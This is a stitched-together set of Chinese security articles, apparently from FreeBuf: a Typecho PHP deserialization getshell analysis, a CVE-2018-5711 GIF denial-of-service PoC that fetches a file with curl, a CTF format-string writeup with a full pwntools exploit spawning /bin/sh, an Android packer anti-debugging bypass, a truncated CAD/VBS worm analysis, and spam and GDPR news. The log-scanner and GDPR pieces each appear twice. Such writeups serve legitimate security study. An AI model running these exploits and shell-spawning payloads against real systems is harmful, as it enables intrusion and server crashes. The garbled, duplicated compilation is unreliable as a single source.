零、前言

Typecho是一个轻量版的博客系统,前段时间爆出getshell漏洞,网上也已经有相关的漏洞分析发布。这个漏洞是由PHP反序列化漏洞造成的,所以这里我们分析一下这个漏洞,并借此漏洞深入理解PHP反序列化漏洞。

一、 PHP反序列化漏洞

1.1 漏洞简介

PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

1.2 漏洞原理

接下来我们通过几个实例来理解什么是PHP序列化与反序列化以及漏洞形成的具体过程,首先建立1.php文件文件内容如下:

hetian417.png

文件中有一个TestClass类,类中定义了一个$variable变量和一个PrintVariable函数,然后实例化这个类并调用它的方法,运行结果如下:

hetian497.png

这是一个正常的类的实例化和成员函数调用过程,但是有一些特殊的类成员函数在某些特定情况下会自动调用,称之为magic函数,magic函数命名是以符号__开头的,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串被调用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。

hetian729.png

运行结果如下,注意还有其他的magic方法,这里只列举了几个。

image.png

php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?因为在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果在一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子,看看php对象序列化之后的格式。

image.png

输出如下

image.png

O表示对象,4表示对象名长度为4,”User”为类名,2表示成员变量个数,大括号里分别为变量的类型、名称、长度及其值。想要将这个字符串恢复成类对象需要使用unserialize重建对象,在4.php中写入如下代码

image.png

运行结果

hetian1200.png

magic函数__construct和__destruct会在对象创建或者销毁时自动调用,__sleep方法在一个对象被序列化的时候调用,__wakeup方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

image.png

运行结果

image.png

OK,到此我们已经知道了magic函数、序列化与反序列化这几个重要概念,那么这个过程漏洞是怎么产生的呢?我们再来看一个例子6.php

image.png

这段代码包含两个类,一个example和一个process,在process中有一个成员函数close(),其中有一个eval()函数,但是其参数不可控,我们无法利用它执行任意代码。但是在example类中有一个__destruct()析构函数,它会在脚本调用结束的时候执行,析构函数调用了本类中的一个成员函数shutdown(),其作用是调用某个地方的close()函数。于是开始思考这样一个问题:能否让他去调用process中的close()函数且$pid变量可控呢?答案是可以的,只要在反序列化的时候$handle是process的一个类对象,$pid是想要执行的任意代码代码即可,看一下如何构造POC

image.png

执行效果

image.png

当我们序列化的字符串进行反序列化时就会按照我们的设定生成一个example类对象,当脚本结束时自动调用__destruct()函数,然后调用shutdown()函数,此时$handle为process的类对象,所以接下来会调用process的close()函数,eval()就会执行,而$pid也可以进行设置,此时就造成了代码执行。这整个攻击线路我们称之为ROP(Return-oriented programming)链,其核心思想是在整个进程空间内现存的函数中寻找适合代码片断(gadget),并通过精心设计返回代码把各个gadget拼接起来,从而达到恶意攻击的目的。构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间。但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是程序中合法的的代码,普通的防护手段难以检测。反序列化漏洞需要满足两个条件:

1、程序中存在序列化字符串的输入点
2、程序中存在可以利用的magic函数

接下来通过Typecho的序列化漏洞进行实战分析。

二 Typecho漏洞分析

漏洞的位置发生在install.php,首先有一个referer的检测,使其值为一个站内的地址即可绕过。

image.png

入口点在232行

image.png

这里将cookie中的__typecho_config值取出,然后base64解码再进行反序列化,这就满足了漏洞发生的第一个条件:存在序列化字符串的输入点。接下来就是去找一下有什么magic方法可以利用。先全局搜索__destruct()和__wakeup()

image.png

找到两处__destruct(),跟进去没有可利用的地方,跟着代码往下走会实例化一个Typecho_Db,位于var\Typecho\Db.php,Typecho_Db的构造函数如下

image.png

在第120行使用.运算符连接$adapterName,这时$adapterName如果是一个实例化的对象就会自动调用__toString方法(如果存在的话),那全局搜索一下__toString()方法。找到3处

image.png

前两处无法利用,跟进第三处,__toString()在var\Typecho\Feed.php 223行

hetian2655.png

跟进代码在290处有如下代码

image.png

如何$item['author']是一个类而screenName是一个无法被直接调用的变量(私有变量或根本就不存在的变量),则会自动调用__get() magic方法,进而再去寻找可以利用的__get()方法,全局搜索

image.png

共匹配到10处,其中在var\Typecho\Request.php中的代码可以利用,跟进

image.png

再跟进到get函数

image.png

接着进入_applyFilter函数

image.png

可以看到array_map和call_user_func函数,他们都可以动态的执行函数,第一个参数表示要执行的函数的名称,第二个参数表示要执行的函数的参数。我们可以在这里尝试执行任意代码。接下来梳理一下整个流程,数据的输入点在install.php文件的232行,从外部读入序列化的数据。然后根据我们构造的数据,程序会进入Db.php的__construct()函数,然后进入Feed.php的__toString()函数,再依次进入Request.php的__get()、get()、_applyFilter()函数,最后由call_user_func实现任意代码执行,整个ROP链形成。构造POC如下

image.png

POC的22行其实与反序列化无关,但是不加这一行程序就不会有回显,因为在 install.php 的开头部分调用了程序调用了ob_start(),它会开启缓冲区并将要输出的内容都放进缓冲区,想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误

image.png

image.png

然后会触发exception,其中的ob_end_clean()会将缓冲区中的内容清空,导致无法回显。

hetian3363.png

想要解决这个问题需要在ob_end_clean()执行之前是程序退出,两种方法:

1、使程序跳转到存在exit()的代码段

2、使程序提前报错,退出代码

POC中使用的是第二种方法

image.png

解决了上述问题后就可以执行任意代码并能看到回显了,执行的时候在http头添加referre使其等于一个站内地址,然后在cookie中添加字段__typecho_config,其值为上述exp的输出。

image.png

有些利用方式并不需要回显,比如写个shell什么的,POC如下

image.png

执行结果,在根目录生成shell.php

image.png

三 声明

文章旨在普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征、挖掘技巧等。若读者因此做出危害网络安全的行为后果自负,与合天智汇及本人无关,特此声明。(PS:本文为合天原创奖励文章,未经允许,禁止以任何形式转载!)

Necurs是目前世界上规模最大的垃圾邮件僵尸网络,而研究人员近期发现,Necurs现在正通过发送垃圾邮件的方法来推广一种名叫Swisscoin(瑞士币)的加密货币。

a.png

研究人员表示,攻击者会大规模发送以推荐股票为主题的垃圾邮件来激发目标用户的兴趣。攻击者所使用的这类垃圾邮件模式被研究人员成为“pump-and-dump”,这个词在金融界代表“拉高出货”或者“坐庄”。也就是说,垃圾邮件发送者会在股价较低的时候购买股票,然后当垃圾邮件活动(以推荐股票为主题)将股价抬升上去之后,他们再以高价卖出并赚取差价,这就是所谓的“pump-and-dump”。

Necurs开始推送加密货币

研究人员认为,Necurs这种垃圾邮件僵尸网络很可能是由数百万台僵尸主机所构成的,而且这个僵尸网络这些年以来一直都在进行“pump-and-dump”活动,这也是Necurs的主业。不过除此之外,Necurs还会传播Dridex银行木马以及其他几款勒索软件,但这都是副业了。

不过就在这周开始,有些研究人员发现Necurs竟然一改之前推销廉价股票的风格,并开始推广加密货币了。而且据了解,这也是Necurs第一次通过自己这个臭名招出的大型垃圾邮件网络来推广加密货币。

Necurs与Swisscoin

根据之前的报告,Swisscoin这种加密货币被认为是旁氏骗局,而且最近曾被暂停交易过。但是在2018年1月15日,这种加密货币又恢复了正常交易,而这一天也是Necurs垃圾邮件活动(以Swisscoin为主题)开始的那一天。更重要的是,从垃圾邮件活动开始之后,Swisscoin的价格相较于初始交易价格已经缩水了40%。

目前,研究人员还不清楚Necurs会对Swisscoin交易价格产生怎样的影响,而且之前也没有类似的恶意活动可以进行比较。除此之外,比特币的价格下跌很有可能也会影响Swisscoin的价格。

b.png

关于Swisscoin的更多内容可以参考【这里】。

根据ConradLongmoreVirusBulletinMyOnlineSecurity的最新研究报告,Necurs僵尸网络所发送的垃圾邮件其主题内容如下:

This crypto coin could go up fifty thousand percent this year

Let me tell you about one crypto currency that could turn 1000 bucks into 1 million

Forget about bitcoin, there’s a way better coin you can buy.

大致意思为:这种加密货币今年估计会涨价500倍,所以瑞士币可以帮你把1000美元变成100万美元。请忘掉比特币吧,因为瑞士币才是你更好的选择。

据了解,Necurs僵尸网络会在每年的十二月份到第二年一月份之间“休息”时间,然后在通过新型的垃圾邮件活动来庆祝新年的到来。由此看来,Necurs僵尸网络给大家的2018年新年礼物就是Swisscoin了…

* 参考来源:bleepingcomputer,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

CVE-2018-5711:一张GIF图片就能让服务器宕机的PHP漏洞

近,台湾Web漏洞挖掘大牛Orange Tsai在对一些Web开发框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个PHP的CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。在此,Orange Tsai简单地介绍了这个漏洞。

漏洞影响的PHP版本

包含以下PHP系列和其它所有PHP版本

PHP 5 < 5.6.33

PHP 7.0 < 7.0.27

PHP 7.1 < 7.1.13

PHP 7.2 < 7.2.1

漏洞细节

漏洞存在于文件ext/gd/libgd/gd_gif_in.c中,其中在LWZReadByte_函数中存在一个循环(while-loop):

460    do {
461        sd->firstcode = sd->oldcode =
461        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463    } while (sd->firstcode == sd->clear_code);

GetCode函数仅只是一个包装类,GetCode_才是真正的执行体:

376    static int
377    GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378    {
379        int           i, j, ret;
380        unsigned char count;
           ...
399        if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400            scd->done = TRUE;
           ...
          
405    }

GetCode_ 会调用GetDataBlock来读取GIF图片中的数据:

332    static int
333    GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334    {
335     unsigned char   count;
336   
336     if (! ReadOK(fd,&count,1)) {
338         return -1;
339     }
340   
341     *ZeroDataBlockP = count == 0;
342   
343     if ((count != 0) && (! ReadOK(fd, buf, count))) {
344         return -1;
345     }
346
347     return count;
348    }

以上就是涉及到的漏洞代码,你有发现一些端倪吗?

该漏洞依赖于从整形(int)到无符号字符(unsigned char)的类型转换。就像上述的:如果GetDataBlock_返回-1,则第400行中的scd->done将会被设置为True,并停止while循环。但是其定义的count是无符号字符,它总是从0到255的正数,所以这种循环停止动作是不会被触发执行的。

因此,最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。

PoC

$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
  Infinite loop here...

由于现实网络中,很多服务器都会用GD图形的扩展库,对用户上传的图片作重新尺寸调整处理,所以该漏洞具有很强的现实危害。

后记

Orange Tsai后续会公开更多0-day和与该漏洞相关的内容。

漏洞参考:

https://bugs.php.net/bug.php?id=75571

http://php.net/ChangeLog-7.php

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711

*参考来源:orange,FreeBuf小编clouds编译,转载请注明来自FreeBuf.COM

一、介绍

用过二进制扫描工具yara的安全人,都喜欢其简洁的语法,其规则由字符串和布尔型表达式组成,可用于标示某一类家族。外面也由很多web日志扫描工具,我比较喜欢这种语法,且新添加语法简单,方便小白使用,所以空闲的时间把这种语法扩展到web access 日志中,xlog代码简单,规则仿照yara的规则,大牛们不喜勿喷,awk勿喷~~~~~~

web 访问日志格式正常情况为:

11.11.11.11 - - [18/Sep/2013:14:19:18 +0000] "GET /admin.php HTTP/1.0" 404 25 "-" "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0"
rule yara_attackAdmin {
meta:
description = "attack admin"
strings:
$str="admin.php" url
$str1="feed"  url
condition:
$str and (GET or POST) and status=404 and not $str1
}

以上规则说明请求url种含有$str,不含有$str1 且 请求为post 或者get方法,且返回请求为404 都会识别为 yara_attackAdmin 家族

二、语法

具体使用方式和yara相同,目前支持语法:agent、正则匹配url、refer、请求类型,返回状态的匹配。

图片.png

三、xlog使用

1、下载源码后,可直接make可生产scanner程序

2、执行:./scanner   规则文件路径  web访问日志

即:

图片.png

3、输出命中的结果:

图片.png

可根据命令行定制化输出

-a                       输出全部结果(默认)

-ip                       输出ip

-refer                  输出ip

-request              输出url

….

-st 参数time       输出访问时间大于time的结果

-et 参数time       输出访问时间小雨time的结果                  

四、github开源

xlog github         可直接在上面fork和反馈问题

* 本文作者zyvsfx,转载注明来自FreeBuf.COM 轻量web日志扫描工具 – xlog

一、介绍

用过二进制扫描工具yara的安全人,都喜欢其简洁的语法,其规则由字符串和布尔型表达式组成,可用于标示某一类家族。外面也由很多web日志扫描工具,我比较喜欢这种语法,且新添加语法简单,方便小白使用,所以空闲的时间把这种语法扩展到web access 日志中,xlog代码简单,规则仿照yara的规则,大牛们不喜勿喷,awk勿喷~~~~~~

web 访问日志格式正常情况为:

11.11.11.11 - - [18/Sep/2013:14:19:18 +0000] "GET /admin.php HTTP/1.0" 404 25 "-" "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0"
rule yara_attackAdmin {
meta:
description = "attack admin"
strings:
$str="admin.php" url
$str1="feed"  url
condition:
$str and (GET or POST) and status=404 and not $str1
}

以上规则说明请求url种含有$str,不含有$str1 且 请求为post 或者get方法,且返回请求为404 都会识别为 yara_attackAdmin 家族

二、语法

具体使用方式和yara相同,目前支持语法:agent、正则匹配url、refer、请求类型,返回状态的匹配。

图片.png

三、xlog使用

1、下载源码后,可直接make可生产scanner程序

2、执行:./scanner   规则文件路径  web访问日志

即:

图片.png

3、输出命中的结果:

图片.png

可根据命令行定制化输出

-a                       输出全部结果(默认)

-ip                       输出ip

-refer                  输出ip

-request              输出url

….

-st 参数time       输出访问时间大于time的结果

-et 参数time       输出访问时间小雨time的结果                  

四、github开源

xlog github         可直接在上面fork和反馈问题

* 本文作者zyvsfx,转载注明来自FreeBuf.COM 轻量web日志扫描工具 – xlog

gdpr3.jpg

Gartner预测,在欧盟《一般数据保护条例》(以下简称GDPR)实施之日,半数以上受GDPR影响的企业将不能完全满足其法规条例要求。

当GDPR于2018年5月25日生效时,其影响将超出整个欧盟(EU)的范围。它将适用于所有处理和持有欧盟居民个人资料的公司,而不论公司地理位置设置在哪里。随着对个人数据主体的重新关注以及高达2000万欧元的罚款威胁或全球年营业额超过GDPR 4%的威胁,企业别无选择,只能重新评估安全处理个人数据的措施。

GDPR生效时,组织必须把重点放在五个高度优先的变化上,以确保合规:

1.确定你在GDPR下的角色

任何决定为什么以及如何处理个人数据的组织本质上都是一个“数据控制者”。因此,GDPR不仅适用于欧盟的企业,也适用于欧盟以外的所有正在处理个人数据以提供货物和服务,或者监测欧盟内部数据主体的行为。这些组织应指定一名代表担任数据保护当局(DPA)和数据主体的联络人。

2.任命数据保护官

由于GDPR的推出,许多组织将被要求指定数据保护官员(DPO)。当组织是公共机构,正在进行需要定期和系统监控的加工业务,或者有大规模的加工活动时,这一点尤为重要。“大规模”并不一定意味着成千上万的数据对象 – GDPR的早期草案提到在任何12个月的时间内处理5000多个科目的数据。

3.在所有处理活动中证明问责制

目的限制,数据质量和数据相关性应在开始新的处理活动时决定,但也适用于现有的处理活动。这将有助于维护未来个人数据处理活动的合规性。组织必须在个人数据处理活动的所有决策中表现出问责性和透明度。

第三方服务提供商(即数据处理商)也必须遵守,这将影响组织的供应,变更管理和采购流程。在GDPR下的问责制要求适当的数据主体同意的获取和注册。预先选中的框和隐含的同意将不再是足够的。相反,组织将被要求实施简化的技术来获得和文件的同意和撤回同意。

4.检查跨境数据流量

向欧盟28个成员国中的任何一个的数据传输仍将被允许,挪威,列支敦士登和冰岛也将被允许。向欧盟委员会(EC)认为具有“适当”保护水平的其他11个国家中的任何一个国家的转移也是可能的。在这些领域之外,组织应该使用适当的保护措施,例如“有约束力的公司规则”(BCR)和标准合同条款(即“欧盟示范合同”)。

5.准备行使权利的数据主体

数据主体在GDPR下拥有延伸的权利。这些包括被遗忘的权利,数据可移植性的权利和被告知的权利(例如,在数据泄露的情况下,或者接收解释,例如在机器学习系统的自动决策中)。

如果企业还没有准备好充分处理数据泄露事件和主体行使权利,现在是时候开始实施额外的控制。

GDPR:正在让数据安全走上正轨!

译文内容引自Gartner

GDPR解读-公司,安全牛.png

长按二维码下载GDPR最完整解读


附:Gartner宣传海报

欧盟GDPR.jpg

gdpr3.jpg

Gartner预测,在欧盟《一般数据保护条例》(以下简称GDPR)实施之日,半数以上受GDPR影响的企业将不能完全满足其法规条例要求。

当GDPR于2018年5月25日生效时,其影响将超出整个欧盟(EU)的范围。它将适用于所有处理和持有欧盟居民个人资料的公司,而不论公司地理位置设置在哪里。随着对个人数据主体的重新关注以及高达2000万欧元的罚款威胁或全球年营业额超过GDPR 4%的威胁,企业别无选择,只能重新评估安全处理个人数据的措施。

GDPR生效时,组织必须把重点放在五个高度优先的变化上,以确保合规:

1.确定你在GDPR下的角色

任何决定为什么以及如何处理个人数据的组织本质上都是一个“数据控制者”。因此,GDPR不仅适用于欧盟的企业,也适用于欧盟以外的所有正在处理个人数据以提供货物和服务,或者监测欧盟内部数据主体的行为。这些组织应指定一名代表担任数据保护当局(DPA)和数据主体的联络人。

2.任命数据保护官

由于GDPR的推出,许多组织将被要求指定数据保护官员(DPO)。当组织是公共机构,正在进行需要定期和系统监控的加工业务,或者有大规模的加工活动时,这一点尤为重要。“大规模”并不一定意味着成千上万的数据对象 – GDPR的早期草案提到在任何12个月的时间内处理5000多个科目的数据。

3.在所有处理活动中证明问责制

目的限制,数据质量和数据相关性应在开始新的处理活动时决定,但也适用于现有的处理活动。这将有助于维护未来个人数据处理活动的合规性。组织必须在个人数据处理活动的所有决策中表现出问责性和透明度。

第三方服务提供商(即数据处理商)也必须遵守,这将影响组织的供应,变更管理和采购流程。在GDPR下的问责制要求适当的数据主体同意的获取和注册。预先选中的框和隐含的同意将不再是足够的。相反,组织将被要求实施简化的技术来获得和文件的同意和撤回同意。

4.检查跨境数据流量

向欧盟28个成员国中的任何一个的数据传输仍将被允许,挪威,列支敦士登和冰岛也将被允许。向欧盟委员会(EC)认为具有“适当”保护水平的其他11个国家中的任何一个国家的转移也是可能的。在这些领域之外,组织应该使用适当的保护措施,例如“有约束力的公司规则”(BCR)和标准合同条款(即“欧盟示范合同”)。

5.准备行使权利的数据主体

数据主体在GDPR下拥有延伸的权利。这些包括被遗忘的权利,数据可移植性的权利和被告知的权利(例如,在数据泄露的情况下,或者接收解释,例如在机器学习系统的自动决策中)。

如果企业还没有准备好充分处理数据泄露事件和主体行使权利,现在是时候开始实施额外的控制。

GDPR:正在让数据安全走上正轨!

译文内容引自Gartner

GDPR解读-公司,安全牛.png

长按二维码下载GDPR最完整解读


附:Gartner宣传海报

欧盟GDPR.jpg

格式化字符串漏洞原理

pwn题中,有形如下述代码的形式就是格式化字符串漏洞

char str[100];
scarf("%s",str);
printf(str)

也许使用者的目的只是直接输出字符串,但是这段字符串来源于可控的输入,就造成了漏洞。

示例程序如下

湖湘杯2017pwn200格式化字符串漏洞详细writeup

 编译:gcc -m32 -o str str.c输入%2$x

湖湘杯2017pwn200格式化字符串漏洞详细writeup

湖湘杯2017pwn200格式化字符串漏洞详细writeup

原因是如果直接printf(“占位符”)这种形式,就会把栈上的偏移当做数据输出出来。通过构造格式化串,就可以实现任意地址读和任意地址写。

任意地址读

事实上,我们在scanf(或者read)来输入字符串的时候,字符串就已经在栈中了,如图,可以看出偏移为6。如果我们构造出addr(4字节)%6$s,就能读取这个地址的值了。

湖湘杯2017pwn200格式化字符串漏洞详细writeup

我们尝试一下,输入AAAA%6$s,当然不可能真的读到地址为41414141的内存值,不过从下图我框起来的内容就知道,如果我们输入一个合法的值,就可以读了。

湖湘杯2017pwn200格式化字符串漏洞详细writeup

任意地址写

和上面的任意地址读是同理的,只不过利用了格式化字符串的一个比较冷门的特性,%n。

这个占位符可以把它前面输出的字符的数量,写入指定的地址。

比如

printf("abc%n", &val);

val的值就被改变为3,我们一般都用pwntools自带的fmt_str来生成格式化串

fmt_str(offset,size,addr,target)

offset表示要覆盖的地址最初的偏移

size表示机器字长

addr表示将要覆盖的地址

target表示我们要覆盖为的目的变量值

赛题链接

https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn200

打开IDA跟入调试

湖湘杯2017pwn200格式化字符串漏洞详细writeup

湖湘杯2017pwn200格式化字符串漏洞详细writeup形如

char buf[100]
scanf("%s",buf);
printf(buf);

找到格式化字符串漏洞

利用漏洞

checksec查看保护

湖湘杯2017pwn200格式化字符串漏洞详细writeup

tips1查看本机ASLR

湖湘杯2017pwn200格式化字符串漏洞详细writeup

so地址变动,确定本机开启了aslr关闭ASLRecho 0 > /proc/sys/kernel/randomize_va_space确认关闭

湖湘杯2017pwn200格式化字符串漏洞详细writeup

利用思路

    printf(&buf);
    puts("GET YOUR AGE:\n");
    read(0, &buf, 0x40u);
    if ( atoi(&buf) > 60 )
      puts("OLD MEN!\n");

看到printf(&buf)之后read(buf)atoi(buf)所以我们的思路就是:利用格式化字符串漏洞的任意地址读,先leak出puts函数的地址puts_addr。利用格式化字符串漏洞的任意地址写,去将atoi函数在got.plt表中的地址改为system函数的地址,然后通过read去控制buf,传入”/bin/sh”,构造出system(“bin/sh”),获取shell。关于覆盖got表,不知道为什么的话,参考下面的文章。 https://www.jianshu.com/p/0ac63c3744ddhttp://rickgray.me/use-gdb-to-study-got-and-plt

leak出puts函数的地址

任意地址读:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit.html调试找到puts的地址在栈中的位置。

湖湘杯2017pwn200格式化字符串漏洞详细writeup

在gdb中调试(这里我使用了gef插件),可以看出地址在7个参数(仔细分析一下AAAA%7$x,把AAAA换掉就是地址,把%x换成%s就可以打印出内容)

计算system地址

libc.symbols['system'] – libc.symbols['puts'] + u32(puts_addr)

覆盖got表中atoi的内容为system地址

原理

printf("abc%nabc\n", &val);
printf("val = %d\n", val);

输出为

abcabc

val = 3

这就告诉我们,%n可以把其前面输出的字符个数,写入&val指向的地址。如果还不理解的话可以参考:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit.html

http://www.cnblogs.com/Ox9A82/p/5429099.html

之前我们已经调试过了”AAAA”就在第7个参数,所以只需构造{addr}{适当的写入值}{%7$n}即可。

这里pwntools提供了fmtstr_payload函数来自动生成格式化串。fmtstr_payload(参数偏移,{xxx_got_addr: system_addr})

getshell

湖湘杯2017pwn200格式化字符串漏洞详细writeup

exp

# coding:utf-8
from pwn import *
elf = ELF('pwne')
# conn=remote('ip',port)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc=ELF('libc.so.6')
p = process('./pwne')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(p32(elf.got['puts']) + '%7$s')
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# print u32(put_addr)
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
atoi_got_addr = elf.got['atoi']
p.sendline('17')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(fmtstr_payload(7, {atoi_got_addr: system_addr}))
p.recvuntil('GET YOUR AGE:\n\n')
p.sendline('/bin/sh\x00')
p.interactive()

总结

在CTF中,一般使用格式化字符串漏洞的任意地址读来leak出某函数的got表地址,然后计算出system的地址。

再通过任意地址写的功能,来覆盖got表,从而调用system(‘bin/sh’)来getshell。

*本文作者:Sakura_zero,转载请注明来自reeBuf.COM

*本文原创作者:y0nLandroid,本文属FreeBuf原创奖励计划,未经许可禁止转载

1.写在开始

最近在学习梆梆壳,在调试的过程中遇到了反调试,很是苦恼,而且每次调试都会被中断,朋友发了篇帖子【1】介绍了其中的一个反调,学习后收获颇多,给我指明了方向,接下来再对其他反调试进行补充,若有疏漏之处请各位大佬批评指正。

2.反调试之时间线程检测

启动调试后是对帖子【1】的验证,过程大致如下:

运行brpt.py后一路F9,

...
#下断点
# 内存中获取模块基地址
base = FindModule('linker');

#.text:00002464     BLX        R4
addr = base + 0x2464; #该偏移值需要使用IDA静态查看linker模块的偏移值
#给linker下断点
AddBpt(addr);

#在libc.so中对库函数下断点
AddBpt(LocByName('fopen'));
AddBpt(LocByName('ptrace'));
...

当lr为pB54EB0CAE49198754C66F4A57BDB01DF函数时即为第一个反调试的线程创建处,然后会调用libDexHelper.so:pDD8ABF73B0AE99BD998BC5C954A74856,

无标题.png

再按一次F9即可断到帖子中提到的fopen函数处

无标题2.png

执行完fopen后,回到调用函数libDexHelper.so:p8878CAA1006835C9D43174C88143BA8B处,然后在如下所示处下断点,F9执行到此处,观察寄存器的值并做相应的修改,具体思路就是要跳过libDexHelper.so:AEDC62A8 BLX sub_AEDA6ECC 这个函数调用即可。

无标题3.png

执行完成后,会跳出调用函数,来到下图处将r0寄存器的值修改为0,或将指令#1改为#0即可。

无标题4.png

并在p39D6B1EED99DC7E506A9D4E07BD58D3A处下断,

无标题5.png

执行完之后F9,则会跳到p39D6B1EED99DC7E506A9D4E07BD58D3A处,

无标题6.png

该函数功能类似kill,具体过程参考帖子【1】。

接下来通过静态分析知道了时间线程的创建点,如下所示:

无标题7.png

具体的时间检测函数如下:

无标题8.png

其中主要就是调用了gettimeofday函数,获取时间,然后再做如下比较:

无标题9.png

不满足条件则kill掉,

无标题10.png

以上便是时间检测的功能了。

3.反调试之ptrace检测

接下来是ptrace检测函数,通过静态分析ptrace被调用了3次,首先进行PTRACE_ATTACH,第二次调用后和0进行比较,最后进行PTRACE_DETACH,如下所示:

无标题11.png

另一处case 13会调用pF77EA32766D841ED6BD10130E181CB0D()也是ptrace检测,

无标题12.png

在p9392640B2E38B72373213C945704CA08处也调用了ptrace检测,

无标题13.png

具体函数如下所示:

无标题14.png

其中p1EBFB58D66C99CAD7405904C9B93559D()->p39D6B1EED99DC7E506A9D4E07BD58D3A。

4.函数大致流程

经过上述分析,整理大致调用流程如下(随手画的):

无标题15.png

5.Hook检测之Xposed检测

对于Xposed检测主要是对相关字符串做了比对,如下图所示:

无标题16.png

在做完比对后返回0和1进行比较,最后又会调用那个自己写的p39D681EED99DC7E506A9D4E07BD58D3A函数,前面提到,该函数功能类似kill,此处做了重命名为p3_linux_syscal_kill。

无标题17.png

6. Hook检测之substrace检测

通过静态分析可知,pAFD3E6E79D2F88D9F3563AE570866D51函数在case2中调用了pB4DACEC3279252082ECED1471A664BF7函数,此函数则为substrace的检测点,

无标题18.png

具体函数如下所示:

无标题19.png

当然也是比较的字符串,根据以上信息可以在手机中安装对应的框架进行动态验证,由于我的环境没有安装该hook框架,故暂未进行动态验证。

7.小结

根据以上分析,过掉以上反调试就很容易了,具体操作不难,不再赘述,方法可以参考帖子【2】。我采用idapython脚本绕过,终于可以开心的调试了,以上当然不是所有的反调,具体还有其他细节的处理遇到了再根据具体情况加以分析,其中还有inotify没有分析,具体可以参考另一篇帖子【3】。当然,对于梆梆壳这只是迈出的第一步,还有很多内容等待我们去挖掘!

8.参考引用

【1】https://bbs.pediy.com/thread-223808.htm

【2】https://bbs.pediy.com/thread-218938.htm

【3】https://bbs.pediy.com/thread-223320.htm

*本文原创作者:y0nLandroid,本文属FreeBuf原创奖励计划,未经许可禁止转载

本次分析的样本是CAD脚本动态生产的一种VBS蠕虫病毒,大概10多年前就已经开始通过E-Mail传播此样本,而如今这类病毒依旧活跃着,浮浮沉沉,生生不息。

蠕虫病毒简介:

蠕虫病毒是一种常见的计算机病毒,它是利用网络进行复制和传播,传染途径是通过网络和电子邮件,它能传播自身功能的拷贝或自身的某些部分到其他的计算机系统中,本次病毒样本就是利用邮件传播(并且已经传播长达10年之久)。

1.png

2.png 

大概有50个攻击邮箱,其中大概一半是163邮箱用于感染传播,另一半是QQ邮箱用于发送被盗用图纸,攻击了10年之久,如果作者还知道自己的病毒还存在的话,那么可想而知,他偷窃了多少人的设计图纸,感染了多少用户。

据统计:

感染邮箱: 大概有25个用于感染传播的邮箱,其中我们可以登录上去的一个邮箱,显示传播1300个,总得推算下来大概有32500个用户被感染。

盗图纸信箱:可登录的QQ邮箱一个有大约100个图纸,大概有25个这类邮箱,那么最少也偷了2500份图纸。

3.png

4.png 5.png 

最近还很活跃,感染用户主要分布在广东,福建,四川。

6.png

7.png 

CAD病毒:

AutoCAD设计图纸软件可以执行自己的LISP脚本文件,就如同Office的宏脚本一样,设计初衷是为了方便设计师的操作,但由于设计不当,更或者是说,人心难测,利益熏心,进而恶意利用此“漏洞” 。

通常CAD脚本恶意功能(举例):

1 注册表操作

2 文件操作

3 调用一些COM组件

4 调用CMD

可见CAD脚本也是十分强大的,基本和Office 宏差不多,只不过其语法独特,还有用户量少,致使其病毒也不多。

VBS病毒:

VBS是Windows上经常见到的脚本文件,编写简单,功能强大,这类病毒十分常见就不多说了。

CAD结合VBS病毒:

这次分析的是CAD和VBS结合的一种蠕虫病毒,由CAD生成VBS,并且再次打包恶意CAD脚本进行邮件传播,并且偷取用户图纸文件,可谓是“狼狈为奸”。

CAD脚本的功能:

1、执行,复制,生成VBS。

8.png 

尝试将自身复制到以下位置:

%windir%\System32\Acad.fas

%windir%\Acad.fas

并且增加只读和隐藏属性,运行自删除。

9.png 

